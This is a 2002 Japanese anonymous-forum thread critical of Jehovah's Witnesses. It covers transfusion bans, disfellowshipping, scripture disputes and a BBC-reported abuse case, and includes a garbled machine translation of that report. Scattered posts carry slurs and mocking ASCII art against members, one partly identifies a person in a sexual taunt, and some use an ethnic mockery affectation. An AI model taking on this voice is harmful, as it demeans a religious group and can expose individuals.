566 :boy's ◆yRaJFlJ. :02/07/11 23:14
えーと、リンクしときます。
BBC NEWS
http://news.bbc.co.uk/hi/english/audiovideo/programmes/panorama/newsid_2114000/2114320.stm

>>564
はい。
正教会に一度行って話を聞いてみたいんだけど、
近所に無さそうで、捜してるんだけど。



567 :boy's ◆yRaJFlJ. :02/07/11 23:25
>>565
むむ。
なんと声をかけたら良いか。


568 :503:02/07/11 23:29
そんな人ばかりではないと思いますがね(笑)>567
でも、曲解多いから・・・
自分の間違いは「私も人間ですから」が上等句。

569 :boy's ◆yRaJFlJ. :02/07/11 23:38
>>568
私も信用していただけに、反動が大きかったですね。
信者でもなんでも無かったのですが。
ましてや、伝道者とかでは、きついと思います。


とりあえず、今日は寝ましょ。
明日があるしね。

570 :名無しさん@1周年:02/07/11 23:45

                ,.'::    ,、- ''"´   `゙゙゙''‐ 、 ゙' ,  ,,、、、
               ,.':::  .,. "           ゙'.、r'"   ゙'、
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            _,i、  ,.'  .i  ,','l !l .!l l. ! ',, l .l、/     ........ !
           ゙,~   ,.ri.  .{ .!.!,i,',l ,',!,! l', l',l,,,!/    .::::::::::::::!
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.            ,>' .:r"l  ',.l,、‐''''i-     ''i;'   .:::::::::::::::::::,'
           〈-、::::゙'‐!. ,. '、ゝ;;;:j      /.   .::::::::::::::::::::,'
.            ゙、 ゙''‐-l  ', .ヽ`.´    ' ,.'   .::::::::::::::::::::/  エホバは危険!
             `,i‐、..}i  '.;:. ゙ヽ   ヾソ'   .:::::::::::::::::::,.' エホバカ害虫!ちぃ知ってる
.             / ;. ゙,゙,   ';:  ノ,,、-''"   .::::::::::::::::::,r'
            / ,.'-‐゙'',-,、,i'"゙! "     .::::::::::::::::,r'"',
            / i'r"゙'´` `'''>'      ゙,::::::::::;r':!   ',
.           / .,、'´ ::、 .:,r'"        ゙、:::::'::::::',.   ',
           / .,.!  ..  :゙'::,'   、.l.      ゙、:::::::::: ゙、.  ',
         / /,', ...::.:::::::,'    ゙'i.       ゙、:,',:::::. ゙、 '゙、
.        / , ', ' .i、:::::::::,r'     ',        ゙、':::::::::. ゙、 ヽ
        / ,.'.,.'  ,゙、:::::::i   ゙、.   '、    ..:::::::l::::::::::::::. ヽ ヽ
       / ././  ,.'  '、;:::!   ',    ゙、::::::::::::::::::::::!:::::::::::  ,''-、..,,゙、、,,,.__
      / / / ./  .::::::`゙'、.   '、  .:::::゙.、::::::::::::::::!::::::::  .,.',,     ,,-,-‐'






571 :名無しさん@1周年:02/07/11 23:50
またアホが・・・

572 :名無しさん@1周年:02/07/11 23:51
エホ症の聖書の引用のしかたっておかしすぎる。
部分だけとってきて組織に都合のいいように
使ってる。


573 :名無しさん@1周年:02/07/12 00:12
例えば?>572

574 :>573 ◆yRaJFlJ. :02/07/12 01:17
審理委員会って何するところ?

マタイ7:1〜
さばいてはいけません。さばかれないためです。
ななたがたがさばくとおりに、あなたがたがさばかれ、
ななたがたが量るとおりに、あなたがたも量られるからです。

眠れないなあ・゚・(つД`)・゚・   boy's

575 :名無しさん@1周年:02/07/12 09:03
>>532 「・・・ことも含まれるでしょう。」
>>535 「・・・その家族にまかされるでしょう。」
>>536 「・・許されるでしょう」。」
>>537 「・・得ることになるでしょう。」「・・下すかもしれません」。」
>>538 「・・せずにすむかもしれません。」「・・違いありません」」
>>539 「・・決まるでしょう」。」
>>541 「・・助けられるかもしれません。」
上のような言い方は責任回避と言う。
つまり、「ものみの塔」は『勧め』はするが、『責任』を取るつもりは無いということだ。
現役諸氏、このことをよく考えてみてはいかが。
何をしようと、されようと、全てJW個人の『責任』に帰結するということで、組織は何ら
責任を取るつもりがないことは明白になっている。

それでいて、組織の『提案』に従わないと『排斥』処置をちらつかせる。
上のコピペも、「排斥」された家族を持つJWに対する『勧め』だが、これに違反すると
どうなるのだろうか。おそらくは、自分も排斥処置の危険性に遭うことになるのではないか。
つまり、文面は『勧告』だが、実質は『命令』であり、しかも『責任』を取るつもりはない。
なんとも、『ご立派な組織』としか言いようがないではないか。

576 :名無しさん@1周年:02/07/12 09:45
>>575
的確な分析、すばらしい!
文章にはどうしても意図するところの願望がにじみ出てしまうのでしょう。

ドイツが発端だったかな、カルト扱いによる税金徴収などを恐れて、選挙へ行くことを容認する方向へ教えが変わったときも、
それを伝える文章は、良心としては選挙へは行かないのが当然というニュアンスのプレッシャーを与え、
その一方で諸事情あるときは行ってよしという、まさに命令と(公や世間一般に対しての)責任逃れとが
混在したあきれた展開だったと記憶している。

大ちゃん事件後の協会支部の新聞コメントもそんな感じだった(「輸血拒否は教義ではなく信者個々の良心」的趣旨だったと思う)。
毎度毎度、懲りない組織なんですね。
ま、それらに対して信者から批判もないんでしょ。出るはずないか。


577 ::02/07/12 11:02
エホ証:「私も不完全な人間ですから・・・」

家の人:「私も同じく不完全な人間なんですけど・・・」

エホ証&家の人:「・・・・・・・・・。」(−−;



578 :名無しさん@1周年:02/07/12 12:21
>575
組織は神ではないんだから、灰色の領域に対しては
提案をする以上のことはできない。ふさわしい提案を
することによって私達が清い良心を培う助けをしているのです。
組織は、神と聖書に信頼と敬意を示す事ができるよう人々に
清い情報を与えます。感謝できるではないですか。
エホバの証人は神を第一に考えてます。神に信仰を抱くよう、
訓練されています。反対者の皆さんは組織批判をすることしか
能がないのですか?組織が生み出した良い実には何も目を留められない
のですか?証人は組織なんかより神に依存しているのですよ。
だからいくら組織批判をしようが、信仰は揺るぎません。


579 :575:02/07/12 13:10
>>578
すり替えによる言い逃れの典型的な例ですね。

>組織は神ではないんだから、灰色の領域に対しては
>提案をする以上のことはできない。

組織が神ではないのは当然でしょう。私は組織が神であるとは言っていません。
しかし、JWにおいては組織が神に成り代わっているのは明らかです。
でなければ、なぜ罰則措置を持ち出すのですか。「提案」というのは、拒否する
自由も認められるのです。
しかし、拒否すれば嫌な目に遭う。これは提案とは言いません。
「強制」と言うのです。
仮にある提案に従うことが、神や聖書に対する信頼を失わせるような場合、
拒否することができますか。拒否しないまでも、「いずれエホバが正される」
という態度は、単に逃げているだけ、問題を先送りしているだけです。

>エホバの証人は神を第一に考えてます。

結構です。ぜひそうなさってください。

>組織が生み出した良い実には何も目を留められないのですか?

良いことをしていることもあるのは認めます。
しかし、どれほど良いことをしようが、悪事は悪事です。
良いことをしているから悪事には目をつぶるというのでは、殺人犯であっても
小さな善行をすれば野放しになってしまいますよ。

>証人は組織なんかより神に依存しているのですよ。

組織「なんか」、ですか。だいぶ組織を軽く見ておられるようですね。
では、組織を離れてご自分一人で神と向かい合われてはいかがですか。

>だからいくら組織批判をしようが、信仰は揺るぎません。

信仰を守りたいなら、ご自由にどうぞ。
私は532-543にコピペされた文章に対して、そしてその文章を発行した
ものみの塔の姿勢に対して批判をしただけです。

580 :名無しさん@1周年:02/07/12 19:15
先日、我が家にもとうとうそこそこ身なりの良い婦人が
薄汚いガキ連れて
「イエスとエホバがどうたらこうたら・・・」とダラダラ演説しに来ました。
あぁ・・コレが噂の・・・と思いつつ、
ここでネタにしようと最後まで話聞いてやりました。
内容は殆ど覚えてないけど、ついて来たガキはちゃんと
隣で直立不動してたよ、3分くらい。
その後はキョロキョロと我が家を見回してた。
もしかして泥棒の下見か?と思っちゃったね。

581 :名無しさん@1周年:02/07/12 20:51
どうやって、勧誘にきたおねーちゃんとHな関係までもちこんだの?
全然落とせないよ〜
>>やった人たち

582 :名無しさん@1周年:02/07/12 21:13
どなたかエホバの証人で正気の人間がいたら紹介してください。
自薦他薦を問いません。

583 :名無しさん@1周年:02/07/12 21:29
笑気だが 何か

584 :名無しさん@1周年:02/07/12 21:41
ぼくは正気です
山田米男です

585 :名無しさん@1周年:02/07/12 22:02
逝ったもん勝ちだろ(w

たがいに相手のことを「正気じゃない」と思ってろよ。

586 :boy's ◆yRaJFlJ. :02/07/12 22:21
他のスレを読んで、ふと思った素朴な疑問。

人工なら良いの?
天然でも人工でも血液は血液じゃないのかな。


587 :名無しさん@1周年:02/07/12 22:24
天然鯛と養殖鯛は育った環境が違うだけだから一緒だけど
人工衛星と本物の衛星は違うと思うんだけどな  どうだろ?

588 :名無しさん@1周年:02/07/12 22:26
>>586
あなたのように「いけないんじゃないかな」と思う人は、拒むべきです。
組織は決して「これを受け入れなさい」と命令しているわけではありませんから。

589 :まあ、自分でも屁理屈だと思うけど。 ◆yRaJFlJ. :02/07/12 22:45
人工エホバ。

boy's


590 :名無しさん@1周年:02/07/12 23:02
>キョロキョロ
拉致の下見

591 :名無しさん@1周年:02/07/12 23:03
まあとにかく勝手な規則をたくさん作るからねぇ・・・
言い訳は大得意でしょ。

>かもしれません。
これは常套句。いくらでも言い逃れできるし、
「不完全な人間ですから・・・」で済むし。

じゃあ「聖霊が注がれている」てのはどういうことなんだろか(笑)

592 :boy's ◆yRaJFlJ. :02/07/12 23:13
>>577さんのパクリ

エホ証:「私は油が注がれた人間ですから・・・」

家の人:「私も同じく油が注がれた人間なんですけど・・・」

エホ証:「・・・・・・・・・。」(−−;


593 :名無しさん@1周年:02/07/12 23:30
いや、それでも言い訳するのさ(笑)

594 :名無しさん@1周年:02/07/12 23:32
不完全な人間・組織打から真理を間違ってとる=盲人
盲人が盲人を手引きすれば・・・
ほら、自分の口で証明してるじゃん。

595 :名無しさん@1周年:02/07/12 23:39
ageんな・・・

596 :名無しさん@1周年:02/07/12 23:44
ここで批判してる皆さん、論理的に攻めると色々なことが明らかになりそうです。

597 :名無しさん@1周年:02/07/12 23:48
判ったからageんな・・・

598 :名無しさん@1周年:02/07/13 00:03
俺は聖書自体は良い物だし、教えも良いと思う(原則)。
規則を作りはじめた今の彼等はキリスト時代の「パリサイ人」と変わらないように思う。
地域監督、巡回監督が何であんなに高慢な態度を示すのかも理解に苦しむ。
まぁ、ある意味社会で通用しないからああいうところでしか自分を誇示できないというところもあるんだろうが。
彼等なりのブランド志向が鼻につくことがけっこうあったなぁ・・・シミジミ。

599 :名無しさん@1周年:02/07/13 00:17
数々の予言がはずれたことについても
全く責任とって無いな。

一部のエホ症が勝手に考えたんだとさw

600 :名無しさん@1周年:02/07/13 00:19


      _____
    ///////////ヽ,,
   f メー-----ー弋メヽ
   ト| ___ ____ ____ .|ミミ|     __________
   ト|_,,,,,,__メ __,,,,,,_ |ミミ|   /
   f|.-=・=H-=・=~iー6}リ <エホ症には苦言を呈しておく。 
    'ヒ______ノハ、_____ノ !!|   | 
    f  _, ,ム、、_   ./    \ 
    ヽ ィ-==ー-i, ,ノ 人      ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
     \,____// /~丶_
      人,_____/ /   \
     /|_/又 \ /







601 :名無しさん@1周年:02/07/13 02:35
アルベルト・フジモリ元ペルー大統領さんも関心あるのですか?

602 :名無しさん@1周年:02/07/13 03:10
>>600
レールウェイライターの種村直樹氏?

603 :wildcat:02/07/13 10:33
>>588
私:「今度の手術で輸血をしなければ命が危ないと医者に言われたのですが、どうすればよいでしょう?」
長老:「それはしてはいけないでしょう!。血を避けなさいと聖書に書いてあるではありませんか。」
私:「それは組織の命令ですか?、それとも提案ですか?」
長老:「もちろんこれは提案にすぎません。」
私:「じゃあ、輸血してもらおうと思います。死にたくないし、家族の面倒を見る責任がありますから。」
長老:「じゃああなたは排斥です。」
私:「・・・・・・。」

ってな感じですね。拒否権、選択権がない以上、提案とは言えないよ。

604 :boy's ◆yRaJFlJ. :02/07/13 11:59
JW信者さんは、ここをどの様に理解するのかな。

ヨハネ6:60
そこで、弟子たちのうちの多くの者が、これを聞いて言った。
「これはひどいことばだ。そんなことをだれがきいておられようか。」

血を飲み、肉を食べなさい、と言われた時の弟子たちの反応だけどね。
これを受け入れなかった弟子はイエス・キリストから離れていった、
とも書いてあるけど。

605 :名無しさん@1周年:02/07/13 12:03
>>604
続きの文脈を読もうぜ!

606 :boy's ◆yRaJFlJ. :02/07/13 12:10
>>605
読んでいますが。
説明があるなら、説明してください。

607 :名無しさん@1周年:02/07/13 12:16
> 血を飲み、肉を食べなさい、と言われた時の弟子たちの反応だけどね。
> これを受け入れなかった弟子はイエス・キリストから離れていった、
> とも書いてあるけど。

続きを教えてください。イエス・キリストから離れていかなかった弟子達が
イエスの肉を食べ、イエスの血を飲んだ(リアルで)のであればエホ証の教
え −血を避けなさい− は非聖書的であると証明できますね。

608 :名無しさん@1周年:02/07/13 12:16
Boy'sさん。
彼らは聖書の奥義について理解していません。例えで語られだらいかがですか?
目に見て見えず、耳にして聞こえず、悔い改めて悟らないために。

609 :私は「あ」であり、「ん」である。。。:02/07/13 12:49
ここに、淫行を避ける様にと言う組織があります。
もう一つここに、淫行(性犯罪など)を隠蔽し擁護する組織があります。

この2つは同じ組織です。

ここに何でも突き通す矛があり、
もう一つここに何も突き通せない盾があります。

「では、その矛で盾を突いたらどうなるのですか?」

610 :名無しさん@1周年:02/07/13 13:02
> 「では、その矛で盾を突いたらどうなるのですか?」

はいせきになります。

611 :名無しさん@1周年:02/07/13 13:11
>>606
イエスの体であらわされている購いと、イエスを仲介者とする
新しい契約をあらわすんでないの?


612 :名無しさん@1周年:02/07/13 13:28
そうですよ。イエスにあのようなことを言ったもの達は、血を避けるようにという律法に忠実に従っていたために真理から離れていったんです。

613 :名無しさん@1周年:02/07/13 15:27
>612
だからエホバの証人って言うんじゃないの?
イエスが神なら輸血OK
エホバが神だから輸血NG

614 :ササニシキ:02/07/13 16:44
宮○県名○北会衆○岩、とりあえず妊娠しなくて良かったね!!
はじめに誘ったのはお前の方だからなー


615 :名無しさん@1周年:02/07/13 17:15
既婚エホ女と付き合い始めた者です。
たまに二人きりで会って、ドライブに出かけたり食事したりしてます。
まだ体を奪ってはいませんが、いずれは、、、、と思ってます。
これ排斥もんだよな。



616 :名無しさん@1周年:02/07/13 17:32
usodaro

617 :名無しさん@1周年:02/07/13 21:13
そりゃ血は避けなきゃいかんだろ信徒なら。
なんせ神は自分だけによこせって言ってるんだから。
ま、あれだ。
試さなきゃ信徒の心もわからんようなのは信じるなってことだ。
もともと少数民族の精神的自己防衛から生まれた宗教で、
他の宗教から吸いまくりの迫害しまくりだからな。

618 :boy's ◆yRaJFlJ. :02/07/14 03:03
JWの主張
レビ記7
14、すべての肉のいのちは、その血が、命そのものである。
   それゆえ、わたしはイスラエル人に言っている。『あなたはたは、どんな肉の血も
   食べてはならない。すべての肉のいのちは、その血そのものであるからだ。
   それを食べる者はだれでも断ち切れられなければならない。』
使徒15
20、ただ、偶像にそなえてた物と不品行と絞め殺した物と不品行と絞め殺したものと
   血とををさけるように書き送るべきだと思います。

私の反論、
1)旧約聖書の律法(重要ではあるが。)からは、すでに解放された。
2)使徒15:20の内容は、神に立ち返る異邦人が悩まない為だけの物である。

ローマ6
14、と言うのは、罪はあなたがたを支配することがないからです。
   なぜなら、あなたがたは律法の下になく、恵みのしたにあるからです。
ローマ7
6、 しかし、今は自分たちを捕らえていた律法に対して死んだので、それから解放され、
   その結果、古い文字にはよらず、新しい御霊によって仕えているのです。
ガラテヤ3
24、こうして、律法は私たちをキリストへ導くための私たちの養育がかりとなりました。
   私たちが信仰によって義とみとめられるためなのです。
25、しかし、信仰が現れた以上、私たちは養育係の下にはいません。

ローマ20
19、そこで、私の判断では、神に立ち返る異邦人を悩ませてはなりません。
20、ただ、偶像にそなえてた物と不品行と絞め殺した物と不品行と絞め殺したものと
   血とををさけるように書き送るべきだと思います。
21、昔から、町ごとにモーセの律法を宣べる者がいて、
   それらが安息日ごとに諸会堂で読まれているからです。


619 :boy's ◆yRaJFlJ. :02/07/14 03:15
X レビ記7
O レビ記17

今回は、ほかのHPを参考にしました。
コピペじゃないんで許してください。

620 :名無しさん@1周年:02/07/14 13:15
どなたかエホバの証人で自他共に認める幸せ者がいたら名乗り出てください。
自薦他薦を問いません。

621 :月並みだけど:02/07/14 14:45
アベル

622 :名無しさん@1周年:02/07/14 14:59
>>621
エホ証と一緒にするなよ。

623 :boy's ◆yRaJFlJ. :02/07/14 15:37
ああ、辞めたから幸せになった。とか、スッキリした。とかは聞くけど
信者なので幸せです。ってのは聞いたことないな。

幸せって主観的なものだから、自分で幸せと思えれば良いと思うけど。
なんか、信者さんを見ていると、かえってストレスをため込んでいるみたいですね。

だって、集会で楽しそうにしている信者さんを見たこと無いし。


624 :boy's ◆yRaJFlJ. :02/07/14 15:48
>>618の間違いがまだあった。

X ローマ20
O 使徒15

最悪だね。。。

625 :名無しさん@1周年:02/07/14 16:08
世でも幸せなやつは2chなんかこないと思う。
        ↑
      ヘンケーン

626 :名無しさん@1周年:02/07/14 16:10
(・∀・)スンスンス-ン♪ ( ゚д゚)ハッ!

627 :名無しさん@1周年:02/07/14 17:47
エホ証関係の変なサイト↓
http://fuh.cool.ne.jp/

628 :名無しさん@現役:02/07/14 17:51
かな−リ怪しいですね
特にIDとパスワードを求められるページがあるのでいかがわしさを感じます。

629 :BBC:02/07/14 17:57

BBCで「エホバの証人」に関する番組が放送されるようです。

http://watchtower.observer.org/
http://news.bbc.co.uk/hi/english/audiovideo/programmes/panorama/default.stm


630 :名無しさん@1周年:02/07/14 18:45
創価板でエホ証関係のスレを発見!
http://kaba.2ch.net/test/read.cgi/koumei/1026591432/-100

631 :エホバの証人長老逮捕:02/07/14 19:49
イギリスでエホバの証人の長老が
「虐待で逮捕」された模様。
顔写真もあり。
http://news.bbc.co.uk/hi/english/uk/england/newsid_2123000/2123546.stm


632 :エロバ:02/07/14 21:32
聖書 ルカ 8:17
(17) 隠されているもので明らかにならないものはなく、また、
注意深く秘められているもので知られずに終わり、
あらわにならずに済むものは決してないのです。

聖書にある通りです。

633 :名無しさん@1周年:02/07/14 21:56
>>630
めがびにもエホスレいっぱいあるよ。というか建てすぎ。
http://www.megabbs.com/philosophy/index.html


634 :wildcat:02/07/14 23:21
>>631 エキサイトで翻訳してみた。
_____

【エホバの目撃者は少年の虐待のために投獄されました。 】

ジェームズBarrattは彼の文を始めるために遠方にリードされます。

エホバの目撃者教会の年長者は児童虐待のために投獄されました。
ジェームズBarratt、45、ラグビーに、Warwickshire(2人の子供との既婚の人)はバイブル
研究用に彼に任せられた2人のティーンエイジャーを不謹慎にも攻撃し助言に対して罪の
あるように感じられました。
裁判所は、Barratt(教会年長者)が「系統的に」持っていると聞きました、10年の期間の彼
の集合の2つの前会員を乱用しました。
ウォリック王冠コートは、不謹慎にもティーンエイジャーを攻撃する機会として、Barratt(少
年の家族の信頼された友人)がバイブルレッスンおよび助言するセッションを使用したと
聞きました。


4日間の試みの全体にわたって、Barrattは、少年への理想的父親像であるとなろうと彼が
したと主張しました。
彼に判決を下して、裁判官ジェームズ槍は、彼が脆弱な若い人々を託されたと言いました
。大偽善者であると彼は言いました。
Barrattは保留されて、12か月で2年間投獄されました。彼は10年間性犯罪者の登録の上
に置かれるでしょう。
Warwickshire警察の探偵検査官ジム・ヒル:「私は、彼が非常に危険な個人であると考えま
す。犠牲者への彼のアプローチは親によってありました。

「彼は家族と非常に強い契約を形成しました。また、明白に、彼は次にその信頼を乱用
しました。」

彼の犠牲のうちの1つ、ゴードン・グラント(23(今))は、教会の主張への反応によって失望
したと言いました。
「人々がこの問題を持っている場合、年長者あるいは教会のリーダーに行きません。
それらを思い悩まないでください。
「警察に直接に行って、誰が経験を積んでいるか、それらが何を行っている?ゥ知っている
かを人々を扱うとしてください。」

635 :boy's ◆yRaJFlJ. :02/07/14 23:46
>エホバの目撃者

世の中から排斥!!!!

636 :名無しさん@1周年:02/07/15 06:26
をり腹っ! てめえ何やってんだよ
http://kaba.2ch.net/test/read.cgi/koumei/1026591432/l50

637 :名無しさん@1周年:02/07/15 10:27
批判されると「迫害」だのと騒ぐエホ証の面々・・・・

批判される様な事をしなければ、誰も批判しませんよ。。。

国連NGO加盟
長年に渡る性的虐待の隠蔽
ホモ(?)の兄弟による,少年に対する性的虐待行為
etc・・・

こんなのは、氷山の一角だと思いますが、批判を受ける様な行為を
していて、わざわざ『騒ぐな』と言いたいニダ。

638 :boy's ◆yRaJFlJ. :02/07/15 10:55
なんていいますか。
BBCのHPを読んでの感想としましては、
「今どき、エホバの目撃者が悪いことをするのは普通だろ。」と思いましたね。
普通すぎて「わーい。」と騒ぐ気にもなれませんね。
騒いだ方が良いと思うけどね。

ただ、あれかな。
エホバの目撃者は一般家庭の伝道に力を入れているけど、
今までは、害の無い連中だから放置しといた部分があるけど
これからは「エホバの目撃者がきたら気をつけなさい。」と
人に言うだろうな。

ああ、この”害のない”ってのは、いきなり噛みついたりはしない。
ってレベルね。


639 :boy's ◆yRaJFlJ. :02/07/15 11:06
あ、意見がぶつかちゃったかな。

>>637
>わざわざ(エホバの目撃者は)『騒ぐな』と言いたいニダ。
かな?

私は >(反対者は)騒いだ方が良いと思うけどね。
だよ。



640 :637:02/07/15 11:27
>>639
エホ証に対しての発言であるニダ。

私は「反対者」(敵対者の方が表現としては的確かも。)なので
大いに騒ぎ・攻撃したいニダ。

641 :boy's ◆yRaJFlJ. :02/07/15 12:58
>640
あ、了解!
私と同意見みたいね。

642 :名無しさん@1周年:02/07/15 19:14
>>640-641
で、具体的に何をやるの?(ぴゅあ
批判サイトでも立ち上げるの?それともエホの人に逆宣伝?

643 :名無しさん@1周年:02/07/15 19:29
>>642
もちろん戸別訪問

644 :boy's ◆yRaJFlJ. :02/07/15 20:27
>>642
わー、懐かしい。
「(ぴゅあ 」って、まだ使っている人がるんだ。

それはともかく、普段は知り合いに、エホバの目撃者には、
関わらない方が良いと言いふらしていますけどね。

えーと、
輸血禁止、クリスマス禁止、誕生日禁止、学校で柔道禁止、
まあ、このぐらい言えば、全員ひきますね。

645 :637:02/07/15 22:21
児童性的虐待者の比率が、他の宗教より多く、その犯罪者を保護し
事件を隠蔽する組織。

と、教えてあげるだけで知人は(((((( ;゜Д゜)))))ガクガクブルブル と、
震えていました。

646 :名無しさん@1周年:02/07/15 22:23
http://tmp.2ch.net/test/read.cgi/company/1026700398/l50

647 :名無しさん@1周年:02/07/15 22:34
>>645
の説明は簡潔で、要領を得ており、読者に考えさせるよい説明の仕方です。
輸血の禁止は、未信者または未成年の家族を巻き込む場合を
聴き手が想起できない場合は、自己決定の問題として理解され
よい問題提起にならない可能性があります。(エホ風)

648 :名無しさん@1周年:02/07/15 22:55
>>645
たしかにこれは鋭く痛いですね。

649 :名無しさん@1周年:02/07/16 00:30
というか、懲らしめの鞭自体が
立派な児童虐待ですが…

650 :名無しさん@1周年:02/07/16 00:33
>>649
「バランスの取れた」鞭の場合もあるので必ずしもよい例ではない。
やはり645が最強ではないでしょうか。WWWに資料がたくさんあるのも吉。

651 :名無しさん@1周年:02/07/16 00:40
鞭にバランスも何もない。
立派な虐待です。
アメリカじゃ捕まります。

652 :名無しさん@1周年:02/07/16 00:48
エホ症の得意の言い訳
「私達は不完全な人間ですから」

653 :boy's ◆yRaJFlJ. :02/07/16 01:10
>>647
>>648
はい。ありがとうございます。
次から状況を見ながら、使い分けます。

>エホバの目撃者さん
伝道の妨害権を主張します。


654 :名無しさん@1周年:02/07/16 01:16
「統治体の成員も不完全な人間ですから」
とか言ったら排斥か?

ところでエホ証は、「家から家への伝道=イエスがクリスチャンに望むもの」
として、戸別伝道を行うエホ証こそ唯一の神の組織と自負しているようだが、
その点に関して、キリスト教徒の意見は?
つまり、イエスが「弟子をつくりなさい」「述べ伝えなさい」と言ったことを
どのように実践しているのかを知りたし。

655 :名無しさん@1周年:02/07/16 01:22
いや、統治体も不完全なんだとw

しかし「統治体」って思いっきり全体主義・共産主義的
中央集権体制だな。

656 :名無しさん@1周年:02/07/16 01:47
イエスは個人の家に押し掛けることはせず街角で真理を説き、招かれればその家に行くというものだった。それは御業の伴うものだった。同じように弟子達も見習った。

657 :5年目:02/07/16 09:58
聖書に「淫行を避けよ」と書かれていたので、日曜日の集会後に
「断絶届け」を提出しました。

性的な犯罪を隠蔽し、淫行を避けていない組織から離れる
という私の判断は間違っていますか?


658 :名無しさん@1周年:02/07/16 10:21
>>657
組織全体に淫行を奨励する傾向があるなら判断は正しいでしょう
これからどのように神のご意志を続けてゆきますか?

659 :名無しさん@1周年:02/07/16 10:54
ブルックリンの老いぼれたちに本気で騙されてる人って
エホバの証人の何パーセントくらいですか?

660 :名無しさん@1周年:02/07/16 11:12
>>658
断絶できる意志がある人なのだから
一人でも続けられると思いますよ。
組織なんていらない。

661 :名無しさん@1周年:02/07/16 11:19
>>657さんへ
あなたは正しく勇気のある方です。
ご判断を支持します。

662 :名無しさん@1周年:02/07/16 11:21
>>654 個人的な意見を言わしてもらうね。

イエスの布教のとき、群集自らイエスに従ったよね。
人の「求める気持ち」が、人を真理に向かわせるのではないだろうか。
個別訪問、しかもノルマは・・・人の自由意志を無視してないか。と感じる。

ローマ書にも
「彼らはともに神を賛美し、人々から好意をもたれた
神は日々、彼らに仲間を加えられた」とあるように、

まず共同体として健全であること、主の証し人として
最も重要なことはそれではないだろうか。

もちろんキリスト教会すべてが健全とは
行ってないよ。しかし主を中心におく人々の集まりは、
少なくとも健全に守られている、というのを私はこの目で見て知っている。
問題が起こるようなキリスト教会は実際、ごくわずかだ。

663 :5年目:02/07/16 11:52
>>658

黙々と日々聖書を読んで、善いと思う事を生活の中で
実践して行こうと考えています。
もちろん、個人でですが。

664 :三蔵法師(夏目雅子ファン):02/07/16 12:05
エホバの証人の信者がやって来て、世界統一の話しを聞かされたけど。
どうして、世界統一の話しをするの? 誰か、教えて。


665 :名無しさん@1周年:02/07/16 15:38
http://news.bbc.co.uk/olmedia/cta/progs/panorama/latest.ram

666 :名無しさん@1周年:02/07/16 15:38
>>663
御決断に敬意を表し、前途に神の御旨が行われるようお祈りいたします。
私は、ヨハネ伝の「『あなたがた』が集まって祈るとき」……などから、
他の人たちと共に祈る=教会に身を置くことが大事だと考えるに至りま
した(そこに至るまでちょうど18年かかりました。で、ある教会に
通うことに決めて、いったその日に「18年流出に悩んだ女の奇跡」の
聖句がちょうど読まれ、そのとき神の導きを確信しました。)が、
5年目さんのポスト・エホ生活はこれから。
差し出がましい言い方でしょうが、ゆっくり「社会復帰」されて
いくのが、よろしいかと。もちろん新世界訳じゃない聖書でね:)

いろいろこの先も考えること感じること、あると思いますが、
折りに触れてこのスレにもお運びくださいね。

667 :名無しさん@1周年:02/07/16 17:15
ちょっと質問なんですけど、何年か前、私がまだ熱心に勉強していたころ
夏の大会に一度だけ参加しましたが、そのときに歌っていた歌(賛美歌?)が
とても印象深くわすれられません。どなたか御存じの方いらっしゃいますでしょうか?
マーラーの静かな曲に似ているとても厳かでしっとりした曲でした。
もちろんこのことを当時いろいろ家に来て教えてくださっていたエホバの証人の
ひとにもきいたんですが、すこし後だったのでうまくわかりませんでした。
・・これだけじゃ、わかりませんよね?


668 :名無しさん@1周年:02/07/16 19:30
>>667
おぼろげな歌詞の内容と、長調か短調かがあると、レスつきやすいんじゃ
ないかな。役にたたなくてスマソ。

669 :名無しさん@1周年:02/07/16 21:14
>>667
ボイスが使えたらいいのにね
ハミングなんかしたらわかるかもよ

670 :名無しさん@1周年:02/07/16 23:45
創価の折原スレが無くなったな。
まったく折原ってやつは、どこまで汚いのか見当もつかんよ。

671 :654:02/07/16 23:56
レス、ありがとうございます。

>>656
あなたがイエスの弟子を自認するのでしたら質問させてください。
あなたは656の書き込みのように、イエスに倣っておられますか?

>>662
そうですね。自らの意思は重要だと思います。
しかし、世の中には福音を知らずに日々を過ごしている人も居ます。
そのような方々に対して、街頭でふれ告げるなり、家々へ伝道するなりの「行動」
が、キリスト教徒には義務として存在するのでしょうか?
義務であるなら、キリスト教徒はどのような仕方でそれを成しているのでしょうか?

・・・なんか、反キリスト教のような書き込みですけど、私は反エホ証なのでいちおう
ことわっておきます。
エホ証があまりにも「伝道」をかさにきているので、訊きたかったのです。

672 :いま:02/07/17 00:07
エホバの証人は、何も聖書のことを理解していないようですね。
今日もイザヤ書の研究に参加させていただきましたが、全く真理を突いていないようです。
ものすごく愚かしい考え方を押しつけられているように感じました。
イエスは律法と預言者とは二つの愛の原則にかかっていると言われましたが、あなたがたの考えは極度の選民思想にかかっています。
即ち、自分達だけが救われれば他のものはどうでもよいと。言葉の端々に出ていますよ。
知っていますか?神は全ての者が救われることを望んでおられるんですよ。ペテロ第二に書かれている通りです

673 :名無しさん@1周年:02/07/17 00:19
>>672
だから他の人たちも救いに至れるように
家から家へと熱心に宣べ伝えているではありませんか。

674 :いま:02/07/17 00:29
671さん。
わたしは656に書き込んだものでエホバの証人の研究生です。
人間関係上の理由から研究を始めたのですが、やればやるほど聖書との矛盾に気付きます。もうすぐ離れると思います。
わたしは聖書の奥義に気付きましたし、2ちゃんでもそれをたまに書き込んだりしています。
そして、神はわたしに大いなる業、癒しの賜物、預言の力を与えられています。まぁ、これは信じてくれなくて結構です。
神と律法と預言の本質に気付いたとき、彼らを憐れに思いました。

675 :名無しさん@1周年:02/07/17 00:36
皆さん、いつまで無限ループを続けるつもりですか?

676 :いま:02/07/17 00:45
いくら伝道したところで教える知識が真理でなければ余計ひとを惑わし躓かせます。
先ほど書きましたが、あなたがたの後ろに在る思想は極度の選民思想であり、組織の考え方です。決して愛に基づくものではありません。
あなたがたは律法を堅く守っていますが、律法によって義と宣せられるわけではありません。信仰によって義と宣せられるのです。
信仰とは二つの愛の原則を行なうことです。全ての律法は愛によって全うされるからです。
あなたがたは神を見いだしたとき、律法に反することはしなくなります。

677 :名無しさん@1周年:02/07/17 00:46
エホバの証人=母子家庭
最近では身体障害者を利用している。

弱い者を利用して金儲けするなる

678 :いま:02/07/17 00:49
それによって、神の『わたしは律法をあなたがたの心の書き板に書き記した』という言葉が成就するのです。
聞く耳のあるものは貴聞くがよい。

679 :名無しさん@1周年:02/07/17 00:50
もうJWやめるかも〜

680 :名無しさん@1周年:02/07/17 00:51
やめちゃえ

